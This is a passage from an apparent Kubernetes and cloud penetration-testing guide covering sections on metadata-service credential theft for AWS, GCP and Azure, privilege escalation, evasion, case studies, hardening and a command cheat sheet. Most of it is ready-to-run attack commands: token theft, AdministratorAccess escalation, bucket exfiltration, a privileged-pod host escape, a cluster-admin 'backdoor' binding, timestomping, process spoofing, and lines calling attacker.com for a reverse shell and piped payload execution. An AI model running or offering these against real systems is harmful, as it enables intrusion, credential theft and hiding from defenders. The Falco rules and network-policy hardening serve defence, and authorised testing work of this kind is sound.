    fmt.Fprintln(fd, "attacker:$6$salt$hash:17000:0:99999:7:::")
    fmt.Fprintln(fd, "EOF")
    fmt.Fprintln(fd, "chmod 644 /tmp/shadow")
}
EOF

go build -o /tmp/exploit exploit.go
/tmp/exploit

# Trigger via docker exec (victim runs):
docker exec -it <container> /tmp/exploit

13. Cloud Provider Specific Attacks

13.1 AWS EKS Attack Vectors

IAM Roles for Service Accounts (IRSA) Exploitation

# Check if pod has IRSA configured
kubectl get sa -o yaml | grep eks.amazonaws.com/role-arn

# From compromised pod with IRSA
env | grep AWS
# Look for: AWS_WEB_IDENTITY_TOKEN_FILE, AWS_ROLE_ARN

# Automatic credential assumption
aws sts get-caller-identity

# Manual role assumption
TOKEN=$(cat $AWS_WEB_IDENTITY_TOKEN_FILE)
aws sts assume-role-with-web-identity \
  --role-arn $AWS_ROLE_ARN \
  --role-session-name compromised-session \
  --web-identity-token $TOKEN

# Enumerate accessible resources
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query 'Arn' --output text | cut -d'/' -f2)

EKS Node Group Exploitation

# Extract node IAM role from metadata
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Get temporary credentials
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
CREDS=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE)

export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r '.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r '.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r '.Token')

# EKS-specific enumeration
aws eks list-clusters
aws eks describe-cluster --name <cluster-name>
aws eks list-nodegroups --cluster-name <cluster-name>

# Potential privilege escalation
aws iam create-access-key --user-name admin-user
aws iam attach-user-policy --user-name admin-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

13.2 Google GKE Attack Vectors

Workload Identity Exploitation

# Check for Workload Identity annotation
kubectl get sa -o yaml | grep iam.gke.io/gcp-service-account

# Get GCP service account token
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token | jq -r '.access_token')

# Use token for GCP API calls
curl -H "Authorization: Bearer $TOKEN" \
  https://www.googleapis.com/storage/v1/b

# Project enumeration
PROJECT_ID=$(curl -s -H "Metadata-Flavor: Google" \
  http://169.254.169.254/computeMetadata/v1/project/project-id)

# List GKE clusters
curl -H "Authorization: Bearer $TOKEN" \
  "https://container.googleapis.com/v1/projects/$PROJECT_ID/locations/-/clusters"

# Access Cloud Storage
gsutil ls
gsutil -m cp -r gs://sensitive-bucket/* /tmp/exfil/

GCE Metadata Service Abuse

# Enumerate all metadata
curl -s -H "Metadata-Flavor: Google" \
  http://169.254.169.254/computeMetadata/v1/?recursive=true | jq .

# Service account information
curl -s -H "Metadata-Flavor: Google" \
  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email

# Available scopes
curl -s -H "Metadata-Flavor: Google" \
  http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes

# If cloud-platform scope exists, full GCP access possible
gcloud compute instances list
gcloud storage buckets list
gcloud sql instances list

13.3 Azure AKS Attack Vectors

Managed Identity Exploitation

# Get managed identity token
TOKEN=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq -r '.access_token')

# Current identity info
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .

# Extract subscription and resource group
INSTANCE_INFO=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01")

SUBSCRIPTION_ID=$(echo $INSTANCE_INFO | jq -r '.compute.subscriptionId')
RESOURCE_GROUP=$(echo $INSTANCE_INFO | jq -r '.compute.resourceGroupName')

# Enumerate Azure resources
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/resources?api-version=2021-04-01"

Azure Key Vault Access

# Get Key Vault access token
KV_TOKEN=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" \
  | jq -r '.access_token')

# List Key Vaults in resource group
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.KeyVault/vaults?api-version=2021-10-01"

# Access secrets (if permissions allow)
curl -s -H "Authorization: Bearer $KV_TOKEN" \
  "https://<keyvault-name>.vault.azure.net/secrets?api-version=7.3"

# Get specific secret
curl -s -H "Authorization: Bearer $KV_TOKEN" \
  "https://<keyvault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.3"

14. Detection & Evasion Techniques

MITRE ATT&CK: T1562 (Impair Defenses), T1070 (Indicator Removal)

14.1 Common Detection Mechanisms

Falco Runtime Security Rules

# Common rules that detect K8s attacks
- rule: Shell spawned in container
  condition: spawned_process and container and proc.name in (shell_binaries)
  output: "Shell spawned in container (user=%user.name command=%proc.cmdline container=%container.id)"

- rule: Launch Privileged Container
  condition: container and container.privileged=true
  output: "Privileged container launched (user=%user.name command=%proc.cmdline container=%container.id)"

- rule: Create files below root
  condition: fd.name startswith /etc and evt.type=creat
  output: "File created below /etc (user=%user.name command=%proc.cmdline file=%fd.name)"

Kubernetes Audit Log Patterns

# Suspicious API calls to watch for
{
  "verb": "create",
  "resource": "pods",
  "objectRef": {
    "apiVersion": "v1",
    "resource": "pods"
  },
  "requestObject": {
    "spec": {
      "hostNetwork": true,
      "containers": [{
        "securityContext": {
          "privileged": true
        }
      }]
    }
  }
}

14.2 Evasion Techniques

Process Name Spoofing

# Hide malicious process as kernel thread
cp /bin/bash /tmp/.hidden-shell
exec -a "[kworker/0:0]" /tmp/.hidden-shell

# Use existing system binaries
python3 -c "import subprocess; subprocess.run(['/bin/bash', '-i'])"

Timestomping

# Match file timestamps to avoid detection
REFERENCE_FILE="/usr/bin/kubectl"
touch -r $REFERENCE_FILE /tmp/malicious-binary

# Modify container creation time in etcd (if accessible)
etcdctl put /registry/pods/default/backdoor-pod "$(cat modified-pod.json)"

Memory-Only Operations

# Avoid writing to disk
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' | bash
curl -s http://attacker.com/payload.sh | bash
wget -O - http://attacker.com/script.py | python3

15. Real-World Case Studies

15.1 Tesla Kubernetes Cryptomining (2018)

MITRE ATT&CK: T1190 (Exploit Public-Facing Application), T1496 (Resource Hijacking)

Attack Chain:

  1. Discovery: RedLock found exposed Kubernetes dashboard via Shodan
  2. Initial Access: No authentication required on dashboard
  3. Execution: Deployed cryptomining containers disguised as monitoring
  4. Persistence: Used non-standard mining pool port for stealth
  5. Impact: Mined Monero cryptocurrency using Tesla's cloud resources

Technical Details:

# How the attack was discovered
shodan search 'kubernetes-dashboard' | grep tesla

# Mining deployment (reconstructed)
kubectl create deployment stealth-miner \
  --image=xmrig/xmrig \
  --replicas=50

kubectl set env deployment/stealth-miner \
  POOL=pool.minexmr.com:443 \
  WALLET=attacker-wallet-address

Lessons Learned:

15.2 Shopify Bug Bounty - GKE Metadata Service (2020)

MITRE ATT&CK: T1552.005 (Cloud Instance Metadata API)

Attack Chain:

  1. Initial Access: Web application SSRF vulnerability
  2. Cloud Access: Bypassed GKE Workload Identity via metadata service
  3. Escalation: Retrieved GCP service account tokens
  4. Impact: Access to internal Google Cloud Storage buckets

Technical Details:

# SSRF payload to access metadata
POST /api/fetch HTTP/1.1
Content-Type: application/json

{"url": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"}

# Token extraction and usage
TOKEN=$(curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token)
curl -H "Authorization: Bearer $TOKEN" https://storage.googleapis.com/storage/v1/b/shopify-internal/o

Mitigation:

15.3 Microsoft Azure - Azurescape (2021)

MITRE ATT&CK: T1611 (Escape to Host), CVE-2021-43810

Attack Chain:

  1. Initial Setup: Attacker creates ACI container in their Azure account
  2. Container Escape: Exploited runC vulnerability specific to ACI
  3. Cross-Tenant Access: Gained access to underlying Kubernetes cluster
  4. Impact: Could access other customers' containers and data

Significance: First cross-tenant container escape in major cloud provider


16. Remediation Guidance

16.1 Quick Fix Matrix

Vulnerability Immediate Fix Long-term Solution
Exposed API Server Add authentication, restrict CIDR Implement RBAC, network policies
Privileged Pods Pod Security Standards Admission controllers, OPA
Weak RBAC Remove excessive permissions Least privilege design
Missing Network Policies Default deny egress/ingress Microsegmentation
Exposed kubelet Disable anonymous auth Certificate-based auth
etcd Exposure Enable TLS, firewall mTLS + strong authentication
Secret Management Remove from env vars External secret management

16.2 Defense-in-Depth Implementation

Network Layer

# Default deny network policy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  - Egress
---
# Block metadata service
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-metadata
spec:
  podSelector: {}
  policyTypes:
  - Egress
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32

Pod Security

# Enforce restricted Pod Security Standards
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted

RBAC Hardening

# Remove default service account permissions
kubectl patch serviceaccount default -p '{"automountServiceAccountToken":false}'

# Create minimal role
kubectl create role app-minimal \
  --verb=get,list \
  --resource=configmaps \
  --resource-name=app-config

kubectl create rolebinding app-minimal-binding \
  --role=app-minimal \
  --serviceaccount=default:app-sa

17. Command Cheat Sheet

17.1 External Reconnaissance

# Port scanning
nmap -p 443,6443,8080,2379,10250,10255,30000-32767 -sV <target>

# API discovery
curl -k https://<api>:6443/version
curl -k https://<api>:6443/api

# kubelet probing
curl http://<node>:10255/pods
curl -k https://<node>:10250/pods

# etcd testing
curl http://<etcd>:2379/version
etcdctl --endpoints=http://<etcd>:2379 get "" --prefix --keys-only

17.2 Automated Scanning

# kube-hunter
kube-hunter --remote <target>
kube-hunter --cidr 10.0.0.0/24

# kubeletctl
kubeletctl scan --cidr 10.0.0.0/24
kubeletctl --server <node> exec "id" -p <pod> -c <container>

# kube-bench
kube-bench run

17.3 Token Theft & Initial Access

# Extract service account token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT

# Configure kubectl
kubectl config set-cluster target --server=$APISERVER --insecure-skip-tls-verify=true
kubectl config set-credentials sa --token=$TOKEN
kubectl config set-context target --cluster=target --user=sa
kubectl config use-context target

17.4 Enumeration Commands

# Basic cluster info
kubectl cluster-info
kubectl version
kubectl get nodes -o wide

# RBAC discovery
kubectl auth can-i --list
kubectl get clusterrolebindings -o wide
kubectl get secrets -A

# Find privileged pods
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged==true)'

17.5 Privilege Escalation

# Create privileged pod
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: privesc
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: shell
    image: ubuntu:latest
    command: ["/bin/sleep", "3600"]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

# Exec and escape
kubectl exec -it privesc -- chroot /host /bin/bash

# RBAC escalation
kubectl create clusterrolebinding backdoor --clusterrole=cluster-admin --serviceaccount=default:my-sa

17.6 Cloud Metadata

# AWS
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

# Azure
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

18. Tools Comparison Matrix

Tool Best For Pros Cons Use When
kubectl Authenticated access Official, comprehensive Requires credentials Have cluster access
kube-hunter External scanning Automated, comprehensive False positives Initial discovery
kubeletctl kubelet exploitation Targeted exploitation Single purpose Found exposed kubelet
peirates Interactive post-exploit Menu-driven, feature-rich Complex setup After initial access
kube-bench Compliance checking CIS standard Config-heavy Security assessment
Trivy Vulnerability scanning Fast, accurate Requires DB updates Image/cluster scanning

19. MITRE ATT&CK for Kubernetes

Tactic Technique Kubernetes Example Detection
Initial Access T1190 Exposed dashboard Web logs, ingress monitoring
Execution T1609 kubectl exec Audit logs: pods/exec
Persistence T1136 Create service account Audit logs: serviceaccount create
Privilege Escalation T1611 Container escape Falco: privileged container
Defense Evasion T1562 Disable logging Monitor security tool health
Credential Access T1552.007 Service account tokens File access monitoring
Discovery T1613 kubectl get pods Rate-based detection
Collection T1005 kubectl get secrets Audit logs: secrets access
Exfiltration T1567 curl upload Egress monitoring
Impact T1496 Cryptomining Resource usage spikes

20. References & Further Learning

Essential Documentation:

Tools & Resources:

Community:


⚠️ Legal Notice: This guide is for authorized testing only. Ensure you have proper permission before testing any systems.